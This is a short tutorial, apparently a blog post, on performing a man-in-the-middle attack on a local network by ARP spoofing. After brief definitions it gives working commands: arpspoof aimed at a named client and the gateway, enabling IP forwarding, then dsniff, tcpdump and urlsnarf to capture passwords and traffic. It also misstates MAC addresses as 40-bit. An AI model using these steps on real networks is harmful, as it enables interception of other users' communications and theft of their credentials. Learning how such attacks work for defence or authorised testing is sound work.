Man in the middle attack using arpspoofing (MITM Attack).

 MITM (Man IN The Middle Attack/MITA):-

 when attackers place themselves between client and server. and thereby have access to all the traffic   between the client and the server. 


Arp spoof:-

when an attacker wants to place themselves between the client and the server they will need to spoof the arp of two systems. there are several other methods to perform a MITM attack. but this one is most commonly used in Lan networks

In a MITM attack attacker has to convince the server that he is the client. and convince the client that he is the server. 


The risks of MITM attack.

1:sniffing passwords 

2:finding secret information 

3:alter commincation 

4:impersonation 


ARP:-

ARP stands for Address Resolution Protocol and it translated b/w 40-bit physical mac address and 32-bit logical

The IP address enables network switches and other network devices to identify which nic card has which IP address.

 


first step: for the arp spoof to tell the client that you are the server


check how many clients in the Lan network

command: in Linux terminal   

>arp


Address                  HWtype  HWaddress           Flags Mask            Iface

192.168.43.1             ether   9e:ec:27:bb:c2:34   C                     wlan0 //server ip

192.168.43.110           ether   02:02:f7:b7:67:55   C                     wlan0 // client 1 our target 

192.168.43.17            ether   7c:6b:9c:28:01:65   C                     wlan0 // client 2


now type command to tell the client you are the server  //my IP is 192.168.43.177 (Linux machine)


>arpspoof -i  wlan0 -t 192.168.43.110  192.168.43.1     // -i is interface. In my case its  wlan0 


open a new terminal tell server that you are the client (192.168.43.110) 


>arpspoof -i wlan0 -t 192.168.43.1 192.168.43.110   



Second step: we have to forward the IP address 


>echo 1 > /proc/sys/net/ipv4/ip_forward              

//echo 1 tells the kernel to place a 1 (1=enable, 0 = disable) in the ip_forward field in the proc directory



third step: listen on wlan0 by dsniff


>dsniff -i wlan0    // wlan0 in my case


open a new terminal to monitor traffic and type.


>tcpdump -i wlan0



final step: now you are good to go for MITM Attack. type command in cmd


>urlsnarf -i wlan0   

Congratulations you have to learn the MITM Attack using arp spoofing.
